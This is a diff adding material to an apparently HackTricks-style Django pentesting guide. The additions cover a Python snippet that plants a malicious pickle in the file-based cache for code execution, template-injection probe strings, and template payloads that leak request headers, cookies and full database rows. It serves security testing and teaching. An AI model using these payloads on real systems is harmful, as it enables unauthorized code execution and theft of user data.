diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 6e01ef9e517..f4e23f25858 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -7,6 +7,18 @@ Django's default cache storage method is [Python pickles](https://docs.python.or Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation. +On **FileBasedCache**, the pickled value is written to a file under `CACHES['default']['LOCATION']` (often `/var/tmp/django_cache/`). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it: + +```bash +python - <<'PY' +import pickle, os +class RCE: + def __reduce__(self): + return (os.system, ("id >/tmp/pwned",)) +open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4)) +PY +``` + This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436 --- @@ -21,6 +33,20 @@ The Django Template Language (DTL) is **Turing-complete**. If user-supplied data {{7*7}} ``` If the rendered output contains `49` the input is compiled by the template engine. +3. DTL is **not Jinja2**: arithmetic/loop payloads regularly raise `TemplateSyntaxError`/500 while still proving evaluation. Polyglots like `${{<%[%'"}}%` are good crash-or-render probes. + +### Context exfiltration when RCE is blocked +Even if object-walking to `subprocess.Popen` fails, DTL still exposes in-scope objects: +```django +{{ request }} {# confirm SSTI #} +{{ request.META }} {# leak Gunicorn/UWSGI headers, cookies, proxy info #} +{{ users }} {# QuerySet in the context? #} +{{ users.0 }} {# first row #} +{{ users.values }} {# dumps dicts of every column (email/flags/plaintext passwords if stored) #} +``` +`QuerySet.values()` coerces rows to dictionaries, bypassing `__str__` and exposing all fields returned by the queryset. This works even when direct Python execution is filtered. + +**Automation pattern**: authenticate, grab the CSRF token, save a marker-prefixed payload in any persistent field (e.g., username/profile bio), then request a view that renders it (AJAX endpoints like `/likes/` are common). Parse a stable attribute (e.g., `title="..."`) to recover the rendered result and iterate payloads. ### Primitive to RCE Django blocks direct access to `__import__`, but the Python object graph is reachable: @@ -85,5 +111,7 @@ Always fingerprint the exact framework version via the `X-Frame-Options` error p * Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. * OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. * 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html) +* Django docs – QuerySet.values(): [https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values](https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values) +* 0xdf: HackNet (HTB) — HTML Attribute Injection → Django SSTI → QuerySet.values data dump → Pickle FileBasedCache RCE – [https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html](https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html) {{#include ../../banners/hacktricks-training.md}}